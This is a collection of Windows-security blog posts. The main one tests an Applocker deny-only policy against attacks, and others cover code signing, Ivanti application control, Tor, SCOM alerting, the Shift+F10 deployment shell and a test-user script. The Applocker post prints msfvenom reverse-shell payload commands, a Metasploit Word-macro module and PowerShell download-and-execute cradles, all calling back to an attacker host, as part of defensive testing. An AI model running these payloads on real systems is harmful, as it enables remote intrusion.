This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials. Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour. Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies? #Previous - Applocker vs Malware The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified. #The Policy - Approvals Applocker will be configured with the following approval policy: EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules. #The Policy - Denies Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs. The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script (here) when non-US languages are installed. C:\Windows\System32\LogFiles\WMI C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\Tasks C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\SysWOW64\Tasks C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\tracing C:\Windows\PLA\Reports C:\Windows\PLA\Reports\en-US C:\Windows\PLA\Rules C:\Windows\PLA\Rules\en-US C:\Windows\PLA\Templates C:\Windows\Registration\CRMLog C:\Windows\servicing\Packages C:\Windows\servicing\Sessions C:\Windows\System32\Com\dmp C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\Tasks\Microsoft\Windows\PLA C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System C:\Windows\SysWOW64\Com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\Tasks C:\Windows\Temp C:\Users C:\ProgramData To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list (here) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks (here). The final config should look something like this. #The Rematch Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker. #EXE Generate an exe with the following command. Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe Execution is prevented by denying C:\Users\* #HTA Generate a HTML Application Payload (HTA) with the following: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta Execute the following command after downloading the .hta file to the local system. mshta.exe C:\users\user\download\rev1.0.hta Execution is prevented by denying mshta.exe, a signed Microsoft program. #Word Macro The following MSFConsole command generates a reverse shell for Microsoft Word. ​ use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888 The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\ #Powershell Generate a reverse shell PS1 script with the following command. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1 Execution is prevented by denying C:\Users\* #Powershell Web Local PowerShell scripts are blocked, what of remote calls that load into memory!! ​ powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks” ​ powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();" Constrained Language mode is still protecting the system. #DLL The following command creates a DLL reverse shell. ​ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll ​ Download and execute the following commands from the Windows client. ​ copy rev1.1.dll C:\Windows\Temp rundll32.exe C:\Windows\Temp\rev1.1.dll,0 Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path. #Reverse Shell and MimiKatz as XML The following command generates an XML reverse shell. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 Execute the following commands. msbuild.exe C:\users\admin\downloads\mimikatz.xml msbuild.exe C:\users\admin\downloads\rev1.5.xml Execution is prevented by denying msbuild.exe, a signed Microsoft program. #Standing Eight Count Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate. A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context. Execution is constrained to authorised named directories, 'Program Files' and 'Windows'. Directories that allow the user to 'Write' deny any type of execution. Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on. Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.

Ever wondered what all those Windows Guids translated to in User Rights Assigments? Follow the link and run the script with Admin permissions. https://github.com/Tenaka/UserRightsAssignmens The script will export the Windows security settings and extract the Privilege Rights. The privilege rights will be translated into their Human readable format.

In this article, I'll describe the process of Code Signing PowerShell scripts from a Microsoft CA. I'll not cover how Code Signing adds security, simply put Code Signing doesn't provide or was intended to provide a robust security layer. However, Code Signing does provide both Authenticity and Integrity: The Authenticity that the script was written or reviewed by a trusted entity and then signed. Integrity ensures that once signed the script hasn't been modified, useful when deploying scripts or executing scripts by a scheduled task with a service account. Bypassing Code Signing requirements is simple, open ISE, paste in the code and F8, instant bypass. However, my development 'Enterprise' system is not standard, ISE won't work as Constrained Language Mode prevents all but core functionality from loading, meaning no API's, .Net, Com and most modules. As a note, even with the script, code signed, ISE is next to useless with Constrained Language Mode enforced. Scripts require both signing and authorising in Applocker\WDAC and will only execute from native PowerShell. Back to it..... This is a typical message when executing a PowerShell script with the system requiring Code Signing. To successfully execute the script, the script must be signed with a digital signature from either a CA or Self Signed certificate. I'm not going to Self Sign, it's filth and I've access to a Microsoft Certificate Authority (CA) as part of the Enterprise. Login to the CA, launch 'Manage' and locate the 'Code Signing' template, then 'Duplicate Template'. Complete the new template with the following settings: General: Name the new certificate template with something meaningful and up the validity to 3 years or to the maximum the corporate policy allows. Compatibility: Update the Compatibility Settings and Certificate Recipient to 'Windows Server 2016' and 'Windows 10/Windows Server 2016' respectively. Request Handling: Check the 'Allow private key to be exported'. Cryptographic: Set 'Minimum key size' to either 1024, 2048, 4096, 8192 or 16,384 Select 'Requests must use one of the following providers:' and check 'Microsoft Enhanced RSA and AES Cryptographic Provider' (description) Security: Ideally, enrolment is controlled via an AD Group with both READ and Enrol permissions. Do not under any circumstances allow WRITE or FULL. Save the new template and then issue by right-clicking on 'Certificate Template' > New and 'Certificate Template to Issue'. From a client and logged on with the account that is a member of the 'CRT_PowerShellCodeSigning' group, launch MMC and add the Certificate snap-in for the Current User. Browse to Personal > Certificates and right-click in the empty space to the right, then click on 'All Tasks' > 'Request New Certificate. Select the 'Toyo Code Signing' template and then click on 'Properties' to add in some additional information. Add a Friendly Name and Description. Enrol the template. Now, right-click on the new 'Code Signing' certificate > All Tasks > Export. Select 'Yes, export the private key'. Ensure the 2 PKCS options are selected. Check the 'Group or username (recommended)' and on the Encryption drop-down select 'AES256-SHA256'. Complete the wizard by exporting the .pfx file The final step is to sign a script with the .pfx file using PowerShell. Set-AuthenticodeSignature -FilePath "C:\Downloads\SecureReport9.4.ps1" -cert "C:\Downloads\CodeSigning.pfx" Open the newly signed script and at the bottom of the script is the digital signature. Launch PowerShell.exe and run the script. For those with Applocker\WDAC then the script requires adding to the allow list by file hash. Now I'll be able to execute my own Pentest script on my allegedly secure system and locate any missing settings..... As always thanks for your support.

Ivanti's Endpoint Protection's Application Control: Ivanti Endpoint Protection is a comprehensive security solution that provides organizations with a comprehensive set of security tools designed to protect their endpoints, networks, and data. It is designed to protect users from the latest threats, such as malware, ransomware, and phishing attacks. It also provides advanced capabilities, such as patch management, application control, and user privilege management. With Ivanti Endpoint Protection, organizations can ensure their endpoints are secure and protected from the latest threats. This article focuses on the initial setup of Ivanti Endpoint Manager and Endpoint Security Application Control, agent deployment and policy. This will provide the bases for the next round of 'verses' articles having thoroughly abused Windows Applocker, WDAC and GPO. The following has been extracted from the Ivanti Endpoint Protection user guide downloadable from (here). Ivanti® Endpoint Manager and Endpoint Security for Endpoint Manager consists of a wide variety of powerful and easy-to-use tools you can use to help manage and protect your Windows, Macintosh, mobile, Linux, and UNIX devices. Endpoint Manager and Security tools are proven to increase end user and IT administrator productivity and efficiencyLANDesk Application control offers the following system-level security: Kernel-level, rule-based file-system protection Registry Protection Startup Control Detection of stealth rootkits Network filtering Process and file/application certification File protection rules that restrict actions that executable programs can perform on specified files The initial Ivanti setup focus's on Ivanti Endpoint Protection's (EP) Application Control to compare and pit against Microsoft's Applocker and WDAC. Ivanti's EP Firewall, Device Control and AV policies won't be configured, although it is capable of providing a full management suite of protections from within a single console. The focus is Ivant EP vs Microsoft's application control, the paid 3rd part tools versus the free inbuilt tools. Ivanti Download: The good news, Ivanti provides 45 day, fully featured trial software, allowing plenty of time for EP to be put through its paces. The bad news, the trial software is not current, the download is for the 2020.1 version and not the latest 2022.2 or higher. A little sub-optimal considering it's for endpoint protection and security. Links to access Ivanti Endpoint Manager 2020.1: 45 day trial sign-up (here). Installation guide (here), Domain with a SQL server is required. Exclaimers: After following the installation guide, Ivanti will require a fair amount of fettling to deploy Application Control in enforcement mode. Remember, it's only for application execution to provide a direct comparison to Applocker and WDAC and a baseline reference for EP configuration. I'm not an Ivanti expert, I've spent a day installing and learning Ivanti. It's expected that the lack of experience with this product results in some ambiguity, I'm not interested in the journey but the net result of trying to exploit Windows with Ivanti Endpoint Protection enabled. Initial Login: Let's get to it...... From the Start Menu launch 'Ivanti Management Console', and enter the account details used during setup. Add LDAP Configuration: To integrate AD, providing search and deployment of policy, agent and software: Click on 'Configuration' in the lower left pane. Right-click on 'Directory' and 'Manage Directory...' 'Add', follow the wizard to include the domain structure using the Domain Admin account. Initial Agent Audit Policy: Initially, the endpoint and its software is unknown and an agent is required to be deployed. Click 'Configuration' in the bottom left windows and then select 'Agent Configuration', then the top left. In the 'Agent Configuration' window, bottom right, right-click and select 'New Windows agent configuration'. Update the 'Agent Configuration': Update 'Configuration Name' with something meaningful. Check the 'Endpoint Security option. Browse and then select 'Endpoint Protection' under 'Distribute and Patch' and then 'Security and Compliance'. Click 'Configure'. Within 'Endpoint Security' check 'Application Control:' and then click on '....' to configure the Application Control policy. Select 'Advanced' under 'Application Protection' and click on 'Learning'. With the initial policy when Ivanti is 'Learning' there is no reason to tempt fate by locking ourselves out of the client. Select 'Learning' for 'Whitelisting'. Save the changes and close both the 'Application Control' and 'Agent Configuration wizards. Agent Deployment: The agent and EP policy has been created and requires deploying to a client. Ivanti Management is fully featured and comes with LANDesk. For those that aren't familiar it's on par with SCCM\MECM. Here's a guide to assist in deploying the Ivanti agent (here). For expedience, I've opted for manual agent deployment. Right-click on the new agent and select 'Advance Agent'. Copy the URL and log on to the Windows 10 or 11 client. Download the .exe and install. Both Windows Defender and SmartScreen GPO's required updating to allow the Ivanti agent to install. Once the agent's installed, launch 'Ivanti Endpoint Security' from the Start Menu for a quick review. Excellent, Application Control and Whitelist learning policies are in effect. In preparation for blocking mode, launch installed applications on the client and run through some user activity. This activity is audited and logged to the Ivanti server for approval. It's time for a long coffee break, the file activity can take a little while to report back to the Ivanti server console. The initial audit results will take a few hours, a full audit will take overnight. Audited Files: With the agent installed the 'Win10-01' client becomes available to manage by right-clicking. Top tip, from Diagnostics its possible to see Ivant client and core logs. To view the audited files select 'Security and Patch' then 'Application Information'. As this is a new installation of Ivanti Endpoint Protection the audited files are classed as 'undecided'. It's not as simple as clicking and then approving the files, this can only be accomplished by updating the 'Agent Configuration' settings. Endpoint Security Policy - Blocking Mode: The agent has been deployed in learning mode, enabling file data collection to be available in the console. At this point, those files require authorising and blocking mode enabling. The easiest method of updating the client from learning to blocking was to update the agent and not just the Endpoint Security policy, having failed repeated attempts. Right-click the 'Agent Deployment - Initial Config', Copy and then Paste, maintaining the original agent settings. Rename the agent configuration to reflect its purpose, 'Agent Deployment - Windows Client Blocking'. Right-click the new agent config, 'Properties'. Navigate to 'Endpoint Security' via 'Distribution and Patch' and then 'Security and Compliance'. Click 'Configure...' and in the 'Configure endpoint security setting' click 'New'. Add a meaningful name to the 'Endpoint Security' wizard. Click on 'Default Policy' and select ... next to the 'Application control' dropdown. Click on 'New...' On the 'General Settings' update the name. Click on 'Application Protection' and check the following: Enable application behaviour protections Prevent master boot record (MBR) encryption Auto detect and blacklist crypto-ransomware Under 'File protection rules' select all the options, not all these options may be suitable for an enterprise, and some trial and error may be required. Under 'Application Protection' click on 'Advanced' and 'Blocking', and remove any checks for 'Learning mode ...' Under 'Whitelisting' check all options and 'Configure' and select all the script options. Scripts will require authorising to work. Again on the 'Advanced' page select 'Blocking' and uncheck 'Learning mode ...' save the changes. Highlight the new policy and then 'Use Selected'. Enable Microsoft * as a trusted signer, under 'Digital Signatures'. As Ivanti is authorising files by hash it seems prudent to trust and thus allow all Microsoft files. Ivanti operates at the kernel level, any file not authorised will be denied including system files, it's reasonable to expect blue bends (BSoD) in this case. Click 'Add...' on the 'Application File List'. Click 'New'. To authorise collected from the client click on the yellow circle with a downward arrow. Click 'Import from other application file lists... ' Check the 'Computer' and select the client. Ctrl + A to highlight all files and right-click, the 'Override reputation...' Enable 'Good'. To ensure that blocking mode is enabled, set CMD.exe's reputation to 'Bad'. Click 'Next', returning to the Application File List. Highlight CMD.exe and then click on the pencil, 'Edit Application Files'. Set the execution from Allow to Block. OK the changes, close the Application File List, returning to the 'Configure Application File Lists'. Highlight the new blocking policy then click 'Use selected'. Update the 'Learning list:' drop down to that of the Win10 approval file list and save the changes. Ensure the 'Machine Configuration' is configured with the new Windows 10 Client Policy and save the changes. Point of note: No Dll's were listed in the authorised file list, from previous testing bypassing application protections can be achieved when dll file types arent protected. Read this (here) where Applocker was successfully bypassed by malware with a DLL file extention. Deploy Agent in Blocking Mode: Click on 'Configuration' in the bottom left pane and then 'Agent Configuration'. In the bottom right pane select 'My Configurations'. Right-click and properties on the 'Agent Deployment - Windows Client Blocking' As the target client already has the agent installed a 'scheduled agent deployment' or 'scheduled update to agent settings' should work. I've opted for the agent deployment, removing the old agent and settings alnd installing the new agent with the new blocking configuration. Click on 'Targets', then 'Targeted Devices', and click on 'Add'. Select the Windows client with the agent installed and ensure the client box is checked. In 'Schedule task', select 'Start Now' and then 'Save'. The Client: Log in to the client and after about 15 minutes the Ivanti agent with the blocking configuring will have been deployed. The client is likely to show that the 'Status' is disabled for all components with 'Application Control' also displaying 'Off'. Reboot the client. After the reboot the agent should show the following: Launching cmd.exe displays the following Ivanti message, cmd is indeed blocked and policy and settings are successfully applied. The process of creating and deploying Ivanti EP is understood and is repeatable. The next step is to test how effective Ivanti EP is at protecting Windows from various Remote Code Exploits, Local Code Exploits and Reverse Shells following the same patterns used testing Applocker and Device Guard (WDAC). To follow shortly......

ChatGPT is an Artificial Intelligence (AI) chatbot that has been developed to create conversations with people. It is powered by a deep learning model called a Generative Pre-trained Transformer (GPT). This model uses a large corpus of text to generate new conversations based on input from the user. ChatGPT is a relatively new chatbot technology and is being used by many companies to create more interactive customer service experiences. ChatGPT is a great way to engage customers and provide them with a more natural conversation experience. It can also be used for a variety of other applications such as creating automated customer support and providing information. ChatGPT works by using natural language processing (NLP) to understand the input from the user and generate a response. The Generative Pre-trained Transformer (GPT) model is then used to generate a response based on the input. The GPT model is trained on a large corpus of text, which allows the model to generate more natural conversations. When using ChatGPT, the user will enter a phrase or question and the chatbot will respond with an appropriate response. The response can be tailored to the context of the conversation, allowing for more natural conversations with the user. The applications of ChatGPT are virtually endless. It can be used to provide customer service, provide information, and even automate customer support. It can also be used in a variety of other applications such as virtual personal assistants, automated customer support, customer service bots, customer engagement, and more. ChatGPT is a great way to engage customers and provide them with a more natural conversation experience. It can also be used for a variety of other applications such as creating automated customer support and providing information. The technology is still in its early stages, but it is already being used by many companies to provide a more natural customer service experience. The technology is constantly evolving, and it is becoming more sophisticated and powerful with each passing day. The technology is becoming increasingly popular, and it is being used by many companies for a variety of applications. It is an exciting technology that is sure to revolutionize the way we interact with technology and customer service in the future. Here are some examples of how ChatGPT can be used: 1. Automated Customer Support: ChatGPT can be used to create automated customer support experiences. By using the natural language processing (NLP) capabilities of the chatbot, companies can create automatic conversations that are tailored to the user’s needs. This can be used to provide customer service, provide information, and even automate customer support. 2. Virtual Personal Assistants: ChatGPT can be used to create virtual personal assistants. These assistants can be used to provide information, answer questions, and help customers with their needs. They can also be used to provide personalized recommendations, making the customer service experience more personal. 3. Customer Engagement: ChatGPT can be used to engage customers and help them find the information they need. This can be used to provide customer service, provide information, and even automate customer support. 4. Automated Customer Support: ChatGPT can be used to provide automated customer support experiences. Companies can use the natural language processing (NLP) capabilities of the chatbot to create automated conversations that are tailored to the user’s needs. This can be used to provide customer service, provide information, and even automate customers. Authored by ChatGPT @ https://beta.openai.com/playground

Hi, please leave a comment about the site... Be gentle its still very much under construction. But if you have questions or an idea for future content does feel free to write something. Thanks, Tenaka

I've purchased various pentest devices, not going to mention any names. I've always found them to be lacking in capability and storage. A better option and one where you get to assemble your own device is to use a Pi or my favourite Odroid, they tend to have more power. Download the arm image from https://www.offensive-security.com/kali-linux-arm-images/ Install Win32Disk on Windows http://sourceforge.net/projects/win32diskimager/files/latest/download Insert a microSSD of at least 16Gb Burn the Kali image to the ssd. Insert into the Pi\Odroid and power on Logon with the default account root and the password of toor If that fails try kali and kali passwd to change password apt-get update & apt-get upgrade apt-get -y full-upgrade

During MDT or ConfiMgr deployment of Windows 10, press Shift+F10 whilst Windows detects devices. A command prompt with System Privileges will pop up allowing all sorts of shenanigans and without being logged by SIEM, those agents won't be running yet. Also during Windows 10 upgrades, that Bitlocker drive encryption is disabled allowing the same attack. This is an old issue raised some 3 to 4 years ago.... Well, today on my test rig during a 1909 deployment, I was just curious, it can't still be vulnerable.... oops. The fix is pretty straightforward, although I can't take credit, that belongs to Johan Arwidmark and this post here #Declare Mount Folders for DISM Offline Update $mountFolder1 = 'D:\Mount1' $mountFolder2 = 'D:\Mount2' $WinImage = 'D:\MDTDeployment\Operating Systems\Windows 10 x64 1909\sources' #Mount install.wim to first mount folder Mount-WindowsImage -ImagePath $WinImage\install.wim -Index 1 -Path $mountFolder1 #Mount winre.wim to second mount folder Mount-WindowsImage -ImagePath $mountFolder1\Windows\System32\Recovery\winre.wim -Index 1 -Path $mountFolder2 #Create folder for DisableCMDRequest.TAG file in Winre.wim New-Item $mountFolder2\Windows\setup\scripts -ItemType Directory #Create DisableCMDRequest.TAG file for Winre.wim New-Item $mountFolder2\Windows\setup\scripts\DisableCMDRequest.TAG -ItemType File #Commit changes to Winre.wim Dismount-WindowsImage -Path $mountFolder2 -Save #Create folder for DisableCMDRequest.TAG in install.wim New-Item $mountFolder1\Windows\setup\scripts -ItemType Directory #Create DisableCMDRequest.TAG file for install.wim New-Item $mountFolder1\Windows\setup\scripts\DisableCMDRequest.TAG -ItemType File #Commit changes to Winre.wim Dismount-WindowsImage -Path $mountFolder1 -Save

All Operating Systems, Applications, Databases and Hardware are vulnerable to hackers, some to a greater or lesser extent. Microsoft's Windows OS has made great improvements with Windows 10 and continually improving with later releases. However, these improvements are often undermined by poor practice and\or misconfigurations. ​ Here is my take on Windows Security 101, basic good practices everyone should follow or at least be aware of: ​ Prior to implementing or making changes to any system make sure it's documented with a repeatable process, peer-reviewed and tested. So that's the boring bit done. Encrypting the Operating System with Bitlocker not only keeps the data safe but prevents many physical attacks against the OS and privilege escalation. Using a TPM and Pin is best. ​ Always patch and update, not just the OS, don't forget the applications. ​ Install only necessary applications. Don't install Adobe PDF Reader, if your using Chrome or Edge, use the browser as the PDF Reader. It's Adobe and a gateway app to the system being compromised..... and one more application to update. Enable Firewalls throughout the enterprise, from edge routers to the host-based firewalls on the client. Not only do Firewalls prevent remote attacks the hacker will have to rely on clickbait but prevents the spread of malware if a client is compromised. ​ Enable AV and keep it up to date. It suggested AV will only provide up to 40% protection against malware. Deploy Application Controls such as Applocker or Device Guard to stop unauthorized execution of programs. ​ Disable all local Administrator accounts and set long complex and unique passwords regardless. There is no guarantee those accounts remain disabled. ​ Maintain account privilege separation. Don't allow accounts that have client privileges and also have Server rights or Domain Admins. Don't allow any Server or Domain Admin to login on to any end client. ​ Don't reuse any password, ensure uniqueness across all accounts. ​ Don't store passwords or configuration files on shares, this is the first thing an attacker will look for. I've seen passwords in clear text on deployment shares for Domain Admin Service Accounts. ​ Just as important as the active protections is the monitoring. How do you know that the implemented protections are effective or one of your admins hasn't ignored 'tho shalt not logon to a client with DA'. The current average time from hack to detections is 206 days........Read this ​ Backups Finally, have the system Pentested and remediate any issues. ​ Let's be clear, no system is 100% safe. The above recommendations are a starter for 10 and won't stop a targeted, prolonged and sustained attack, at best it will slow down.

TOR protects the user's privacy and your IP address from your ISP and anyone interested in the traffic leaving the property by applying multiple layers of encryption to your browser traffic and passing the traffic through a series of random Tor relays. As the traffic progresses through the relays a layer of encryption is decrypted revealing the next hope unit the exit node where the final layer is decrypted and the original web request is sent on to its final destination. Simplified diagram of Tor. The green lines are encrypted. That's the basics of how Tor works and I tend to run it from a Linux variant such as Kali or Backbox. A while back I purchased an Invizbox One, tested it and then chucked it in the back of the drawer. But with some extra time on my hands due to CV-19 I thought I would revisit the Invizbox. To start with the Invizbox didn't power on, a great start, it didn't like being plugged into the USB port of the router and so I moved it to a PC. Once connected to the Admin page the firmware had to be updated before Tor would start. On the Zyxel I assigned the DMZ to port 5, configured the Firewall, DHCP, DNS and then plugged in the yellow cable. On the Invizbox Admin page, I set the Privacy Mode to 'Tor' Set the country options to Europe and UK, wasn't sure if the UK was considered part of the EU or not...... That was pretty much it, nice and easy. Any client, Windows, Linux or even...Mac (yuck) can connect to the Invizbox wifi and browse from any country in Europe or UK. Yesterday apparently I was visiting Romania and today it's Germany. To sum up, it's a nifty little device that makes it easy and more accessible to more devices including those you can't install software on. The Invizbox was purchased a few years back at a cost of £50, it's now £80 on Amazon, direct from the Invizbox there's now a subscription for the VPN. There are alternatives like Anonabox. Would I purchase one today at £80, unlikely, if I had to use a device I would rather build an Onion Pi or Odroid. But likely I would carry on using Kali with Tor, it's free. Now the words of warning: There have been security flaws with Tor devices and with Tor as a browser, regularly check for updates. To maintain anonymity don't use the computer where your also logging on to Facebook, Amazon etc.... I would stay away from using Windows as it's a little heavy on the MS spyware and there's the potential for AV and Windows updates to be tampered with on the exit nodes. Only use secure websites to prevent the exit nodes from performing Man In The Middle attacks. The relay nodes are run and maintained by volunteers, which means that the nodes can't be trusted and some will be run by the NSA, FBI or criminals. https://tails.boum.org/ is recommended for maintaining privacy Invizbox and Alternatives https://www.anonabox.com/buy-anonabox-original.html https://www.invizbox.com/products/invizbox/#pricing https://www.raspberrypi.org/blog/onion-pi-tor-proxy/

For those that have deployed SCOM without ACS or another monitoring service, but don't have a full-blown IDS\IPS. With a little effort it's possible to at least monitor and alert when critical groups and accounts. As a free alternative, ELK (Elastic Search) or Security Onion. The following example is SCOM being configured to alert when Domain Admins is updated. On the Authoring Tab, Management Pack Objects, Rules, select 'NT Event Log (Alert)' Create a new Management Pack if required, don't ever use the default MP The 'Rule Name' should have an aspect that is unique and all subsequent rules to assist searching later on. Rules that monitor Groups or Accounts will be pre-fixed with 'GpMon'. The 'Rule Target' in this case is 'Windows Domain Controllers', it's a domain group. Change the 'Log Name' to 'Security'. Add Event ID 4728 (A member was added to a security-enabled global group) Update the Event Source to 'Contains' with a value of 'Domain Admins'. Update the priorities to High and Critical. Sit back grab a coffee (or 2) and wait whilst the rule is distributed to the Domain Controllers, this can take a while. Test the rule by adding a group or account to Domain Admins, in the SCOM Monitoring tab, an alert will almost immediately appear with full details. Now for the laborious bit, create further monitors for the following: Server Operators Account Operators Print Operators Schema and Enterprise Admins Any delegation or role-up groups SCCM Administrative groups CA Administrative groups That's the obvious groups covered, now to target all Windows Servers and Clients (if SCOM has been deployed to the clients) Local accounts for creation, addition to local groups and password resets. Applocker to alert on any unauthorised software being installed or accessed. Finally here's what Microsoft recommens. With a few hours of effort and you'll have better visibility of the system and any changes to those critical groups.

Ever required the need to make lots of Domain Users? Here's a PowerShell script that does just that, more than 73,000. This can be increased by adding more First and Last names to the CSV. 73,000 test accounts are likely more than an entire lifetime's worth, but the script can be altered by removing all the randomizers to create actual users based on a csv list. Download the following script (CreateTestUsers.txt) and names.csv and copy them to C:\Downloads Rename the 'CreateTestUsers.txt' to 'CreateTestUsers.ps1', open in PowerShell_ISE and update the domain specific entries. Run the script and enter the number of accounts required. During testing the higher the percentage of maximum accounts the slower the script runs, it struggles to make unique names. The accounts create have their Profile and Home shares, Group Membership Each account created has a random 14-character password that is outputted at the end to C:\Downloads\results.txt Here's the script... #Get OU for users import-module ActiveDirectory #Get Targetted OU $orgOU = Get-ADOrganizationalUnit "ou=Test Users,ou=Org,dc=sh,dc=loc" $orgOU.distinguishedname #set password length $length = "14" #Outs the account and password created $results = "C:\Downloads\results.txt" #Declares Inheritance $inherNone = [System.Security.AccessControl.InheritanceFlags]::None $propNone = [System.Security.AccessControl.PropagationFlags]::None $inherCnIn = [System.Security.AccessControl.InheritanceFlags]::ContainerInherit $propInOn = [System.Security.AccessControl.PropagationFlags]::InheritOnly $inherObIn = [System.Security.AccessControl.InheritanceFlags]::ObjectInherit $propNoPr = [System.Security.AccessControl.PropagationFlags]::NoPropagateInherit #current number of users in OU $aduE = get-aduser -filter {samaccountname -like "*"} -SearchBase $orgOU $existing = $aduE.count #Import list of first and surnames $Names = "C:\Downloads\names.csv" #Imports and works out max possible users that can be created $impName = Import-Csv -path $Names $FNCT = ($impName.firstname | where {$_.trim() -ne ""}).count $SNCT = ($impName.surname | Where {$_.trim() -ne ""}).count $maxUN = $FNCT * $SNCT $total = ($maxUn.ToString()) -10 do {$enter = ([int]$NOS = (read-host "Max User accounts is "$total", how many do you need")) } until ($nos -le $total) $UserLists=@{} #Randomises first and surnames do { $FName = ($impName.firstname | where {$_.trim() -ne ""})|sort {get-random} | select -First 1 $SName = ($impName.surname | Where {$_.trim() -ne ""}) |sort {get-random} | select -First 1 $UserIDs = $Fname + "." + $Sname try {$UserLists.add($UserIds,$UserIDs)} catch {} $UserIDs = $null Write-Host $UserLists.count } until ($UserLists.count -eq $nos) $UserLists.count $userlists.GetEnumerator() $UserLists.key $ADUs = $UserLists.values Foreach ($ADu in $ADus) { #Set var for random passwords $Assembly = Add-Type -AssemblyName System.Web $RandomComplexPassword = [System.Web.Security.Membership]::GeneratePassword($Length,4) Foreach ($pwd in $RandomComplexPassword) { #Splits username to be used to create first and surname $ADComp = get-aduser -filter {samaccountname -eq $ADU} $spUse = $ADu.Split('.') $firstNe = $spUse[0] $surNe = $spUse[1] $pwSec = ConvertTo-SecureString "$pwd" -AsPlainText -Force #Creates user accounts if ($ADComp -eq $null) { New-aduser -Name "$ADU" ` -SamAccountName "$ADU" ` -AccountPassword $pwSec ` -GivenName "$firstNe" ` -Surname "$surNe" ` -Displayname "$FnS" ` -Description "TEST $ADu" ` -Path $orgOU ` -Enable $true ` -ProfilePath "\\shdc1\Profiles$\$ADU" ` -HomeDirectory "\\shdc1\Home$\$ADU" ` -HomeDrive "H:" ` #Creates Home Directory and Sets permissions New-Item "\\shdc1\Home$\$ADU" -ItemType Directory -force $gADU = Get-ADUser $ADU $H = "\\shdc1\Home$\$ADU" $getAcl = Get-Acl $H $fileAcc = New-Object System.Security.AccessControl.FileSystemAccessRule($gADU.sid, "MODIFY", "$inherCnIn,$inherObIn", "None", "Allow") $getacl.setAccessRule($fileAcc) Set-Acl $H $getacl #Add Group membership Add-ADGroupMember -Identity "DFSAccess"-Members $ADU #Outs results to Results file $adu | out-file $results -Append $pwd | out-file $results -Append " " | out-file $results -Append } else {"nope exists "} Write-host $ADU } } # Total users in OU $aduC = get-aduser -filter {samaccountname -like "*"} -SearchBase $orgOU $TotalU = $aduC.count #Total users created Write-host "Total New Users" $TotalU - $existing